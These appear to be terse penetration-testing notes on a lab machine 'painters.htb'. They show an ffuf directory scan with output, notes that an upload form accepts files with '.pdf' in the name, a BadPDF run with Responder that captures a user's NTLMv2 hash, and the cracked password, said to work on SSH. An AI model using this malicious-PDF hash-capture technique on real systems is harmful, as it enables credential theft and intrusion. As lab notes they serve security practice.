80,443

HTTP/2 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 14 Feb 2025 20:58:13 GMT
Content-Type: text/html; charset=UTF-8
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff

ffuf -u http://painters.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://painters.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

# Priority ordered case-sensitive list, where entries were found [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 193ms]
                        [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 193ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 193ms]
contact                 [Status: 200, Size: 15557, Words: 4798, Lines: 283, Duration: 193ms]
# This work is licensed under the Creative Commons [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 408ms]
#                       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 408ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 408ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 408ms]
#                       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 408ms]
#                       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 408ms]
# Copyright 2007 James Fisher [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 408ms]
# directory-list-2.3-medium.txt [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 408ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 215ms]
#                       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 408ms]
# on at least 2 different hosts [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 215ms]
home                    [Status: 200, Size: 23234, Words: 7634, Lines: 409, Duration: 215ms]
newsletter              [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 204ms]
static                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 168ms]
testimonials            [Status: 200, Size: 13235, Words: 3901, Lines: 242, Duration: 147ms]
applications            [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 190ms]
contact-us              [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 228ms]
quote                   [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 203ms]
administration          [Status: 200, Size: 3039, Words: 351, Lines: 60, Duration: 148ms]
views                   [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 215ms]
listing                 [Status: 200, Size: 11515, Words: 3284, Lines: 221, Duration: 203ms]
vacancies               [Status: 200, Size: 15428, Words: 4788, Lines: 283, Duration: 202ms]
models                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 147ms]
                        [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 169ms]
controllers             [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 145ms]
:: Progress: [220559/220559] :: Job [1/1] :: 176 req/sec :: Duration: [0:18:26] :: Errors: 0 ::

Pages

Home

Testimonials

Names:

• Mary Brabbs

• Christopher Parker

Contact

• [phone]

• [email protected]

• 23 Prince Street, Bournemouth, UK

Vacancies

• Name: Ralph Davies

• We can upload any type of file as long as there is .pdf in the name.

Administration

BADPDF

sudo python2 badpdf.py

      
        ______                 __       _______  ______   ________  
        |_   _ \               |  ]     |_   __ \|_   _ `.|_   __  | 
          | |_) |  ,--.    .--.| | ______ | |__) | | | `. \ | |_ \_| 
          |  __'. `'_\ : / /'`' ||______||  ___/  | |  | | |  _|    
         _| |__) |// | |,| \__/  |       _| |_    _| |_.' /_| |_     
        |_______/ '-;__/ '.__.;__]     |_____|  |______.'|_____|

        Author : Deepu TV ; Alias DeepZec 

        =============================================================
        
Responder detected :/usr/sbin/responder
Please enter Bad-PDF host IP: 
10.10.110.35
Please enter output file name: 
res.pdf
Please enter the interface name to listen(Default eth0): 
tun0
[*] Starting Process.. [*]
Bad PDF res.pdf created

[SMB] NTLMv2-SSP Client   : 10.10.110.35
[SMB] NTLMv2-SSP Username : PAINTERS\riley
[SMB] NTLMv2-SSP Hash     : riley::PAINTERS:570e87ddd3417dce:5CAEBA937FBAD78CC1F3CEBC11588063:010100000000000080B7F8BCF77EDB014ADFB66E5F73EBB20000000002000800570039005700570001001E00570049004E002D004F00350057005300560059003100380055005400470004003400570049004E002D004F0035005700530056005900310038005500540047002E0057003900570057002E004C004F00430041004C000300140057003900570057002E004C004F00430041004C000500140057003900570057002E004C004F00430041004C000700080080B7F8BCF77EDB010600040002000000080030003000000000000000000000000020000095435E451511C715EB1CE3149CE5886EFE7DAF9BCF522C8AA9CE02D2E5CCCF0A0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0034000000000000000000  

PAINTERS\riley:P@ssw0rd

It works on SSH.